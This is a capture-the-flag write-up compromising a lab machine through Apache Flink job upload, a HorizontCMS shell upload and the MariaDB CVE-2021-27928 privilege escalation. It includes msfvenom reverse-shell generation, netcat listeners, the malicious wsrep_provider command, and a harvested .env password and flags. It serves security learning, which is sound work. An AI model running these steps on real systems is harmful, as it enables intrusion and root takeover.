Tags: flink horizontcms mariadb privesc metasploit 

Rating:

Objective

In this machine, we will first need to find a user.txt file and then escalate to root in order to access root.txt.

Discovery

nmap

Let's see what is on this machine.
What is very interesting is port 80 (http), 3306 (mysql) and potentially 8081.

$ sudo nmap -sS -A -p- 10.129.XXX.XXX
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 15:54 EDT
Nmap scan report for 10.129.XXX.XXX
Host is up (0.011s latency).
Not shown: 65525 closed ports
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
80/tcp    open  ssl/http?
3306/tcp  open  mysql?
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
6123/tcp  open  spark            Apache Spark
8081/tcp  open  blackice-icecap?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Type: application/json; charset=UTF-8
|     content-length: 74
|     {"errors":["Unable to load requested file /nice ports,/Trinity.txt.bak."]}
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Sun, 25 Jul 2021 19:55:00 GMT
|     Expires: Sun, 25 Jul 2021 20:00:00 GMT
|     Cache-Control: private, max-age=300
|     Last-Modified: Sun, 25 Jul 2021 19:55:00 GMT
|     content-length: 2137
|     <!--
|     Licensed to the Apache Software Foundation (ASF) under one
|     more contributor license agreements. See the NOTICE file
|     distributed with this work for additional information
|     regarding copyright ownership. The ASF licenses this file
|     under the Apache License, Version 2.0 (the
|     "License"); you may not use this file except in compliance
|     with the License. You may obtain a copy of the License at
|     http://www.apache.org/licenses/LICENSE-2.0
|     Unless required by applicable law or agreed to in writing, software
|     distributed under the License is distributed on an "AS IS" BASIS,
|     WITHOUT WARRANTIES OR CONDITIONS OF
|   SIPOptions: 
|     HTTP/1.1 404 Not Found
|     Content-Type: application/json; charset=UTF-8
|     Access-Control-Allow-Origin: *
|     Connection: keep-alive
|     content-length: 25
|     {"errors":["Not found."]}
|   WWWOFFLEctrlstat: 
|     HTTP/1.1 404 Not Found
|     Content-Type: application/json; charset=UTF-8
|     content-length: 58
|_    {"errors":["Unable to load requested file /bad-request."]}
34707/tcp open  spark            Apache Spark
37281/tcp open  printer
40393/tcp open  spark            Apache Spark
44953/tcp open  spark            Apache Spark
46077/tcp open  unknown
| fingerprint-strings: 
|   Kerberos: 
|     Forg.apache.flink.shaded.netty4.io.netty.handler.codec.DecoderException` 
|     Dorg.apache.flink.shaded.netty4.io.netty.handler.codec.CodecException
|     java.lang.RuntimeException
|     java.lang.Exception
|     java.lang.Throwable
|     5'9w
|     causet
|     Ljava/lang/Throwable;L
|     detailMessaget
|     Ljava/lang/String;[
|     stackTracet
|     [Ljava/lang/StackTraceElement;L
|     suppressedExceptionst
|     Ljava/util/List;xpsr
|     java.lang.IllegalStateException
|     :Network stream corrupted: received incorrect magic number.ur
|     [Ljava.lang.StackTraceElement;
|     F*<<
|     java.lang.StackTraceElementa 
|     formatI
|     lineNumberL
|     classLoaderNameq
|     declaringClassq
|     fileNameq
|     methodNameq
|     moduleNameq
|     moduleVersionq
|     appt
|     Jorg.apache.flink.runtime.io.network.netty.NettyMessage$NettyMessageDecodert
|     NettyMe
|   RPCCheck: 
|     Korg.apache.flink.shaded.netty4.io.netty.handler.codec.TooLongFrameException
|     Forg.apache.flink.shaded.netty4.io.netty.handler.codec.DecoderException` 
|     Dorg.apache.flink.shaded.netty4.io.netty.handler.codec.CodecException
|     java.lang.RuntimeException
|     java.lang.Exception
|     java.lang.Throwable
|     5'9w
|     causet
|     Ljava/lang/Throwable;L
|     detailMessaget
|     Ljava/lang/String;[
|     stackTracet
|     [Ljava/lang/StackTraceElement;L
|     suppressedExceptionst
|     Ljava/util/List;xpq
|     @Adjusted frame length exceeds 2147483647: 2147483688 - discardedur
|     [Ljava.lang.StackTraceElement;
|     F*<<
|     java.lang.StackTraceElementa 
|     formatI
|     lineNumberL
|     classLoaderNameq
|     declaringClassq
|     fileNameq
|     methodNameq
|     moduleNameq
|     moduleVersionq
|     appt
|_    Rorg.apache.flink.shaded.netty4.io.netty.

Browsing port 80

This is a blog named "Horizon" and the homepage proposes a login interface.
There isn't much on it and it takes few seconds to load pages so we can forget about dirsearch/gobuster to find interesting pages.

Browsing port 8081

We are welcomed by Flink's Web Interface, what is called "spark" in nmap is actually Flink services (it's a usual mistake of nmap).

Flink is a framework for streaming computation.
You can submit "jobs" to the cluster. A job being a jar file and giving it some arguments that we don't really care here.

Road to the user flag

First shell on the server

Metasploit can submit custom Flink jobs that provides reverse shells through: exploit/multi/http/apache_flink_jar_upload_exec

We are now logged as "www-data" on the server. That's not the user though.

Locate user.txt

By checking /home there is only one folder, albert.
And indeed this user has a user.txt file, but we don't have the permissions to read it.

meterpreter > ls
Listing: /home
==============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40554/r-xr-xr--  4096  dir   2021-06-24 01:18:59 -0400  albert


meterpreter > ls /home/albert
Listing: /home/albert
=====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
0667/rw-rw-rwx    0     fif   2021-07-25 15:52:27 -0400  .bash_history
100445/r--r--r-x  220   fil   2021-06-16 04:41:30 -0400  .bash_logout
100445/r--r--r-x  3797  fil   2021-06-16 04:41:30 -0400  .bashrc
100445/r--r--r-x  807   fil   2021-06-16 04:41:30 -0400  .profile
40001/--------x   4096  dir   2021-06-16 05:58:52 -0400  .ssh
100000/---------  29    fil   2021-06-24 01:18:59 -0400  user.txt

Finding additional info

Knowing albert is already good, but we cannot really try to fuzz his password on the website because it takes few seconds to handle calls.
As we are logged as www-data, we can directly check the source files of the website on port 80.

Under /var/www there are two folders: Flinkand html. In the later our eyes lock on .env, curious we check the content and find the admin password for the database.

meterpreter > ls
Listing: /var/www/html
======================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100445/r--r--r-x  125     fil   2021-06-16 04:46:29 -0400  .env
100445/r--r--r-x  61      fil   2020-07-13 05:46:13 -0400  .gitattributes
100445/r--r--r-x  288     fil   2020-07-13 05:46:13 -0400  .gitignore
100445/r--r--r-x  556     fil   2020-07-13 05:46:13 -0400  .htaccess
100445/r--r--r-x  866     fil   2020-07-13 05:46:13 -0400  .travis.yml
100444/r--r--r--  1070    fil   2020-07-13 05:46:13 -0400  LICENSE
100444/r--r--r--  2908    fil   2020-07-13 05:46:13 -0400  README.md
40554/r-xr-xr--   4096    dir   2021-06-18 07:57:49 -0400  app
100444/r--r--r--  1646    fil   2020-07-13 05:46:13 -0400  artisan
40554/r-xr-xr--   4096    dir   2021-06-18 07:57:49 -0400  bootstrap
100444/r--r--r--  2473    fil   2020-07-13 05:46:13 -0400  composer.json
100444/r--r--r--  225292  fil   2020-07-13 05:46:13 -0400  composer.lock
40554/r-xr-xr--   4096    dir   2021-07-16 22:58:01 -0400  config
40554/r-xr-xr--   4096    dir   2021-06-18 07:57:49 -0400  database
100444/r--r--r--  534     fil   2020-07-13 05:46:13 -0400  git-patcher.sh
100444/r--r--r--  1776    fil   2020-07-13 05:46:13 -0400  index.php
100444/r--r--r--  463966  fil   2020-07-13 05:46:13 -0400  package-lock.json
100444/r--r--r--  1147    fil   2020-07-13 05:46:13 -0400  package.json
100444/r--r--r--  1658    fil   2020-07-13 05:46:13 -0400  phpunit.xml
40554/r-xr-xr--   4096    dir   2021-06-18 07:57:49 -0400  plugins
40554/r-xr-xr--   4096    dir   2021-06-18 07:57:49 -0400  resources
40554/r-xr-xr--   4096    dir   2021-06-18 08:02:51 -0400  routes
100444/r--r--r--  560     fil   2020-07-13 05:46:13 -0400  server.php
40554/r-xr-xr--   4096    dir   2021-06-18 07:57:49 -0400  storage
40554/r-xr-xr--   4096    dir   2021-06-18 07:57:49 -0400  themes
40554/r-xr-xr--   4096    dir   2021-06-18 08:02:51 -0400  vendor
100444/r--r--r--  581     fil   2020-07-13 05:46:13 -0400  webpack.mix.js


meterpreter > cat .env
DB_HOST=127.0.0.1
DB_CONNECTION=mysql
DB_USERNAME=hcms
DB_PASSWORD=N>2sM4^R_j>g)cfe
DB_DATABASE=hcms
HCMS_ADMIN_PREFIX=admin

Second reverse shell

We can connect to the blog using the credentials we just found admin:N>2sM4^R_j>g)cfe.
It shows an admin area that says: Welcome in HorizontCMS!.

Mitre tells us there is a vulnerability providing a reverse shell.
We found the exploit: https://packetstormsecurity.com/files/160046/HorizontCMS-1.0.0-beta-Shell-Upload.html

We couldn't make it work through Metasploit somehow.
Instead we uploaded the reverse-shell manually, browsing to http://10.129.173.206/admin/file-manager/index and using the web interface to upload our file.
Our reverse shell welcomes us as being albert, here is our first flag!

$ nc -lvnp 1234                
listening on [any] 1234 ...
connect to [10.10.XXX.XXX] from (UNKNOWN) [10.129.XXX.XXX] 42240
Linux level 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 20:24:51 up 32 min,  0 users,  load average: 0.24, 0.05, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(albert) gid=1000(albert) groups=1000(albert)
/bin/sh: 0: can't access tty; job control turned off
$ cat /home/albert/user.txt
HTB{0utd4t3d_cms_1s_n0_g00d}

Road to the root flag

Move to the server as albert

Somehow we are in a sandbox with /home/albert mounted and shared.
The content of /tmp is empty on albert reverse shell, and there are only 4 processes running. However files added in /home/albert can be seen from both reverse shell (albert + Flink).

In albert reverse shell, we create a ssh key for albert and add our public key to /home/albert/.ssh/authorized_keys.
We can now close all our reverse shells and connect in ssh to the server as albert. We are now out of the sandbox.

$ echo 'ssh-rsa ..... vagrant@kali' >> /home/albert/.ssh/authorized_keys
$ chmod 600 authorized_keys

Escalate to root

One thing we saw in the beginning was a process to mysql launched as root.
However we were unable with our meterpreter to connect to the database (even with the credential, after writing the password it just hung, doing nothing).
Now that we have a proper and stabilized shell, we can connect to it without problem.

albert@level:~$ ps aux
...
root         999  0.0  2.1 1546936 87388 ?       Sl   Jul23   0:16 /usr/local/mysql/bin/mysqld --user=root
...


albert@level:~$ mysql -u hcms -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 107
Server version: 10.5.8-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

There is nothing interesting there in itself, we already had the content of the database in the admin area of the blog.
However checking for vulnerabilities on MariaDB we found a recent one: https://www.exploit-db.com/exploits/49765

Following it we escalate to root and got the flag:

# Target terminal
albert@level:~$ nc -lvnp 1111
Listening on 0.0.0.0 1111

# Our terminal
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.XXX.XXX LPORT=5555 -f elf-so -o CVE-2021-27928.so
$ scp CVE-2021-27928.so albert@10.129.XXX.XXX:/tmp/CVE-2021-27928.so
$ nc -lvnp 5555
listening on [any] 5555 ...

# Target terminal
albert@level:~$ mysql -u hcms -p -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

# Our terminal
connect to [10.10.XXX.XXX] from (UNKNOWN) [10.129.XXX.XXX] 36000
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
HTB{br0k3n_st0r4g3}